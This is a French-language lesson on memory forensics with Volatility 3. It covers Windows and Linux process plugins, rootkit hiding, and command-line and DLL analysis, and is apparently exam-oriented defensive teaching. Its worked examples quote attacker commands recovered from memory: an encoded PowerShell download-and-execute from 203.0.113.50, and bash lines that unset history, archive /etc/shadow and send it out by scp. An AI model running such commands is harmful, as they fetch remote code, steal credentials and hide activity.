Mémoire et données volatiles · Leçon 2 sur 4
Volatility 3 : processus, lignes de commande et DLL
13 min de lecture
La leçon 5.1 montrait comment capturer la mémoire ; cette leçon montre comment y lire les processus. Avec Volatility 3, vous répertoriez ce qui était en cours d’exécution, reconstituez quel processus a lancé quel autre, récupérez les lignes de commande et les modules chargés, et repérez les processus qu’un rootkit a masqués. Les plugins Windows et leurs équivalents Linux sont présentés côte à côte, car l’examen porte sur les deux.
Principes de base de Volatility 3
Volatility 3 est un framework open source en Python 3. Une fois installé avec pip, il s’exécute avec vol -f <image> <plugin> ; depuis une copie du dépôt source, la commande équivalente est python3 vol.py -f <image> <plugin>. Les plugins sont nommés par système d’exploitation : windows.pslist, linux.pslist, mac.pslist. Les versions actuelles regroupent les plugins de détection sous windows.malware.* et linux.malware.* (par exemple windows.malware.malfind) ; les guides plus anciens utilisent des noms plus courts tels que windows.malfind, qui sont des alias obsolètes dont la suppression est prévue. Utilisez donc toujours les noms complets. Les options globales se placent avant le nom du plugin et les options du plugin après celui-ci, par exemple vol -f mem.raw -r csv windows.pslist --pid 6120.
Pour interpréter la mémoire brute sous forme de structures telles qu’un enregistrement de processus, Volatility a besoin d’une table de symboles : l’agencement et les adresses du noyau pour cette compilation précise du noyau, stockés dans un fichier JSON au format ISF (Intermediate Symbol Format).
- Windows. Volatility trouve l’enregistrement de débogage du noyau, lit son nom de PDB (program database) et son GUID, télécharge le PDB correspondant depuis le serveur public de symboles de Microsoft, le convertit en ISF et le met en cache. Cela nécessite un accès à Internet la première fois ; sur un poste d’analyse hors ligne, préremplissez le cache ou placez le paquet de symboles Windows publié par la Volatility Foundation, sous forme de fichier zip, dans
volatility3/symbols. - Linux et macOS. Rien n’est téléchargé par défaut. Vous devez placer un fichier ISF correspondant dans
volatility3/symbols(ou dans un répertoire indiqué avec--symbol-dirs). Pour Linux, il est généré avecdwarf2jsonà partir d’un noyau contenant les informations de débogage et de son fichier System.map, par exempledwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.1.0-18-amd64 --system-map /boot/System.map-6.1.0-18-amd64 > debian-6.1.0-18.json. Sur Debian, le noyau de débogage provient du paquetlinux-image-6.1.0-18-amd64-dbg.
Identifiez le système avant toute autre chose. windows.info indique l’adresse de base du noyau, l’adresse de base de la table des répertoires, si l’image est en 64 bits, la compilation (NtMajorVersion, NtMinorVersion, NTBuildLab) et la valeur SystemTime au moment de la capture. Pour Linux, banners.Banners recherche la chaîne de bannière du noyau, telle que Linux version 6.1.0-18-amd64 (debian-kernel@lists.debian.org) ... Debian 6.1.76-1 ; l’ISF doit correspondre exactement à cette version, sinon les plugins échouent ou renvoient des données incohérentes.
Par défaut, la sortie s’affiche à l’écran sous forme de tableau. -r csv et -r json (ainsi que jsonl) produisent une sortie exploitable par machine pour les tableurs et les chronologies ; -o <dir> définit l’emplacement d’écriture des fichiers extraits. Volatility indique les heures en UTC.
Répertorier les processus sous Windows
Un processus Windows est représenté dans le noyau par une structure EPROCESS. Trois plugins examinent ces structures de différentes manières.
| Plugin | Méthode | Détecte | Ne détecte pas |
|---|---|---|---|
windows.pslist | Parcourt la liste doublement chaînée à partir de PsActiveProcessHead en passant par chaque EPROCESS.ActiveProcessLinks | Les processus actifs au moment de la capture | Les processus retirés de la liste chaînée (masqués) et les processus terminés |
windows.psscan | Recherche dans la mémoire physique les allocations de pool EPROCESS (étiquette de pool Proc) | Les processus actifs, terminés et retirés de la liste chaînée | Aucun des processus de la liste, mais peut afficher des vestiges obsolètes |
windows.pstree | Organise la liste des processus selon le PID parent | Les relations parent-enfant | Les mêmes processus que pslist |
Les champs essentiels sont PID et PPID (PID parent) ; ImageFileName, un champ de 15 octets dans EPROCESS, de sorte que les noms longs sont tronqués à 14 caractères (ApplicationFrameHost.exe apparaît sous la forme ApplicationFra) ; CreateTime et ExitTime en UTC ; Threads et Handles ; SessionId (0 pour les services, 1 ou plus pour les ouvertures de session interactives) ; et Wow64 (True pour un processus 32 bits sous Windows 64 bits).
Repérer la dissimulation. Un rootkit peut retirer son EPROCESS d’ActiveProcessLinks par manipulation directe des objets du noyau (DKOM, Direct Kernel Object Manipulation). Le processus continue de s’exécuter, car l’ordonnanceur travaille avec les threads, et non avec cette liste, mais il disparaît de pslist et du Gestionnaire des tâches. Comparez les PID de pslist et de psscan : un processus présent dans psscan, sans ExitTime et absent de pslist, mérite un examen approfondi. Une entrée psscan avec une valeur ExitTime correspond généralement simplement à un processus qui s’est terminé.
À quoi ressemble une arborescence Windows normale
Sous Windows 10 et 11, la chaîne de démarrage est stable :
- System (PID 4) lance smss.exe. Le gestionnaire de sessions crée une copie temporaire de lui-même par session, qui lance csrss.exe et wininit.exe dans la session 0, et csrss.exe et winlogon.exe dans la session 1, puis se termine. Leur PPID ne correspond donc à aucun processus en cours d’exécution ; c’est normal.
- wininit.exe lance services.exe et lsass.exe. Il existe exactement une instance de chacun.
- services.exe est le parent de chaque svchost.exe, chacun étant lancé avec
-k <group>(souvent aussi avec-p -s <service>). - winlogon.exe lance userinit.exe, qui lance explorer.exe puis se termine ; explorer.exe possède donc lui aussi un PPID orphelin. Les programmes utilisateur sont des enfants d’explorer.exe.
Anomalies à rechercher : un processus système avec un parent incorrect (lsass.exe qui ne dépend pas de wininit.exe, svchost.exe qui ne dépend pas de services.exe) ; un second lsass.exe ; des noms ressemblants tels que scvhost.exe ou lsas.exe ; un binaire système situé en dehors de C:\Windows\System32 ; svchost.exe sans -k ; et des applications Office, des navigateurs ou des lecteurs PDF qui lancent des interpréteurs de commandes. Les PID sont réutilisés ; vérifiez donc toujours que le CreateTime du parent est antérieur à celui de l’enfant.
Lignes de commande, DLL et contexte des processus
windows.cmdlineaffiche la ligne de commande à partir du PEB (Process Environment Block, dans l’espace utilisateur) du processus, viaProcessParameters. Un processus peut réécrire son propre PEB ; considérez donc cette source comme solide, mais non à l’abri des manipulations, et attendez-vous à des erreurs « inaccessible (swapped) » ou « not valid » lorsque la page n’est pas présente dans l’image.windows.dlllistrépertorie les modules de la liste du chargeur du PEB, avec leur adresse de base, leur taille, leur chemin complet et leur heure de chargement. Il fournit le chemin complet qu’ImageFileName ne peut pas donner.windows.malware.ldrmodulescompare les trois listes du PEB (InLoadOrder, InInitializationOrder, InMemoryOrder) aux VAD (Virtual Address Descriptors, les enregistrements de la mémoire mappée tenus par le noyau). Une DLL mappée dans un VAD, mais marquée False dans les trois listes, a été retirée de celles-ci pour la masquer. L’exécutable principal est normalement marqué False uniquement dans InInit. Les guides plus anciens l’appellentwindows.ldrmodules, un alias obsolète.windows.envarsaffiche les variables d’environnement (par exempleTEMP,USERNAME) ;windows.getsidsaffiche les SID du jeton du processus, qui relient un processus à un compte ;windows.privilegesaffiche les privilèges du jeton, où unSeDebugPrivilegeactivé dans un processus inattendu est notable.windows.pslist --pid 6120 --dumpécrit l’exécutable du processus sur disque, etwindows.dumpfiles --pid 6120extrait les objets fichier mis en cache en mémoire. Un PE extrait est reconstruit à partir de la mémoire et son empreinte ne correspond généralement pas à celle du fichier sur disque ; calculez l’empreinte de la copie sur disque pour l’identifier.
Exemple détaillé : Word lance PowerShell
Sortie simplifiée de windows.pstree sur une image Windows 11 :
| Processus | PID | PPID | Session | CreateTime (UTC) |
|---|---|---|---|---|
| System | 4 | 0 | S.O. | 2026-03-12T07:58:11Z |
| . smss.exe | 368 | 4 | S.O. | 2026-03-12T07:58:11Z |
| wininit.exe | 552 | 460 | 0 | 2026-03-12T07:58:14Z |
| . services.exe | 696 | 552 | 0 | 2026-03-12T07:58:14Z |
| . lsass.exe | 704 | 552 | 0 | 2026-03-12T07:58:14Z |
| explorer.exe | 3172 | 3140 | 1 | 2026-03-12T08:01:52Z |
| . WINWORD.EXE | 4388 | 3172 | 1 | 2026-03-12T09:38:02Z |
| .. powershell.exe | 6120 | 4388 | 1 | 2026-03-12T09:41:27Z |
windows.cmdline --pid 6120 renvoie powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==.
Interprétation des options. -nop correspond à -NoProfile, -w hidden à -WindowStyle Hidden (aucune fenêtre visible) et -enc à -EncodedCommand, qui attend du texte UTF-16LE encodé en Base64.
Décodage. La chaîne comporte 200 caractères Base64 et se termine par == : 200 ÷ 4 × 3 = 150 octets, moins 2 pour le remplissage, soit 148 octets. UTF-16LE utilise ici 2 octets par caractère ; la commande comporte donc 148 ÷ 2 = 74 caractères. Les 8 premiers caractères SQBFAFgA se décodent en octets 49 00 45 00 58 00, qui correspondent à I, E, X. Le texte complet est IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1') : télécharger un script et l’exécuter en mémoire avec Invoke-Expression, sans l’écrire sur disque.
Pourquoi le parent est important. Word ne lance pas PowerShell dans le cadre d’une utilisation normale. Un interpréteur de commandes enfant de WINWORD.EXE indique une macro malveillante ou l’exploitation d’une vulnérabilité au moyen d’un document. Le CreateTime du parent (09:38:02Z) précède celui de l’enfant (09:41:27Z) de 3 minutes et 25 secondes ; le PPID n’a donc pas été réutilisé. Étapes suivantes : windows.dlllist --pid 4388 pour vérifier si le moteur VBA VBE7.DLL était chargé, windows.getsids --pid 6120 pour identifier le compte, et les plugins réseau de la leçon 5.3 pour rechercher une connexion à 203.0.113.50.
Équivalents Linux
Le noyau Linux représente chaque tâche par une structure task_struct. linux.pslist parcourt la liste des tâches, linux.pstree affiche les parents et, dans les versions récentes de Volatility 3, linux.psscan recherche les structures de tâches dans la mémoire ; la comparaison entre pslist et psscan fonctionne donc aussi sous Linux. Le nom du processus (comm) occupe 16 octets, soit au maximum 15 caractères. linux.psaux affiche la liste complète des arguments depuis la mémoire du processus et, comme le PEB, celle-ci peut être modifiée par le processus. linux.lsof répertorie les descripteurs de fichiers ouverts, linux.elfs répertorie les fichiers ELF mappés, linux.proc.Maps répertorie les régions mémoire et les fichiers qui leur sont associés, et linux.envars, dans les versions récentes, affiche les variables d’environnement.
linux.bash est souvent le plugin Linux le plus précieux. Bash conserve sa liste d’historique dans le tas du processus et n’écrit ~/.bash_history qu’à la fermeture de l’interpréteur de commandes ; les commandes sont donc récupérées même lorsque l’attaquant a exécuté unset HISTFILE ou supprimé le fichier. Chaque entrée porte un horodatage, stocké en mémoire sous forme d’une chaîne telle que #1773309820. Le plugin ne trouve rien pour les interpréteurs de commandes qui étaient déjà terminés.
Exemple détaillé. Sur un serveur Debian 12, linux.psaux affiche le PID 2214 sous la forme -bash (un interpréteur de commandes de connexion), sous une session sshd, et linux.pslist, dans les versions récentes, lui attribue l’UID 0 (root). linux.bash --pid 2214 renvoie :
| PID | Processus | CommandTime (UTC) | Commande |
|---|---|---|---|
| 2214 | bash | 2026-03-12T10:02:09Z | unset HISTFILE |
| 2214 | bash | 2026-03-12T10:02:58Z | tar czf /tmp/.x.tgz /etc/shadow /var/www/html/config.php |
| 2214 | bash | 2026-03-12T10:03:40Z | scp /tmp/.x.tgz backup@198.51.100.23:/srv/in/ |
| 2214 | bash | 2026-03-12T10:04:12Z | rm /tmp/.x.tgz |
Pour vérifier l’heure de scp : 1 773 309 820 − 1 773 273 600 (2026-03-12T00:00:00Z) = 36 220 s = 10 h 3 min 40 s, soit 2026-03-12T10:03:40Z. Comme HISTFILE a été supprimée de l’environnement, /root/.bash_history sur disque ne contiendra pas ces commandes ; la mémoire en est la seule trace.
Choisir le plugin
| Question | Plugin Windows | Plugin Linux |
|---|---|---|
| Quels sont le système d’exploitation et la compilation du noyau ? | windows.info | banners.Banners |
| Quels processus étaient en cours d’exécution ? | windows.pslist | linux.pslist |
| Quels processus sont masqués ou terminés ? | windows.psscan | linux.psscan (versions récentes) |
| Quel processus a lancé quel autre ? | windows.pstree | linux.pstree |
| Quelle est la ligne de commande complète ? | windows.cmdline | linux.psaux |
| Quelles bibliothèques sont chargées ou quels fichiers sont mappés ? | windows.dlllist, windows.malware.ldrmodules | linux.elfs, linux.proc.Maps |
| Quels fichiers sont ouverts ? | windows.handles (leçon 5.3) | linux.lsof |
| Quelles sont les variables d’environnement ? | windows.envars | linux.envars (versions récentes) |
| Quelles commandes l’utilisateur a-t-il saisies ? | windows.consoles, windows.cmdscan (versions récentes) | linux.bash |
Points clés pour l'examen : Attendez-vous à devoir lire des valeurs dans la sortie de plugins Linux : un PID, un PID parent, une ligne de commande issue delinux.psauxou une commande et son heure UTC issues delinux.bash. Les questions peuvent aussi porter sur la raison pour laquelle psscan trouve un processus que pslist ne trouve pas, sur le parent normal de lsass.exe ou de svchost.exe, sur le décodage de-enc(texte UTF-16LE encodé en Base64) et sur la raison pour laquelle l’analyse Linux échoue sans ISF correspondant.
Points essentiels
- Volatility 3 a besoin d’une table de symboles : les PDB Windows sont récupérés depuis le serveur de symboles de Microsoft à l’aide du GUID, tandis que Linux et macOS nécessitent un ISF généré avec dwarf2json pour le noyau exact.
- pslist parcourt la liste des processus actifs ; psscan recherche les structures et trouve aussi les processus terminés et retirés de la liste chaînée ; une différence entre leurs résultats peut donc révéler une dissimulation par DKOM.
- Connaissez l’arborescence normale : un seul lsass.exe sous wininit.exe, svchost.exe sous services.exe avec
-k, explorer.exe avec un PPID orphelin ; un interpréteur de commandes sous une application Office constitue une piste sérieuse. - Les lignes de commande (
windows.cmdline,linux.psaux) proviennent de la mémoire de l’espace utilisateur, que le processus peut modifier ; corroborez-les avec d’autres sources. linux.bashrécupère les commandes horodatées des processus bash encore en cours d’exécution, y compris lorsque HISTFILE a été supprimée de l’environnement ou que le fichier d’historique a été supprimé.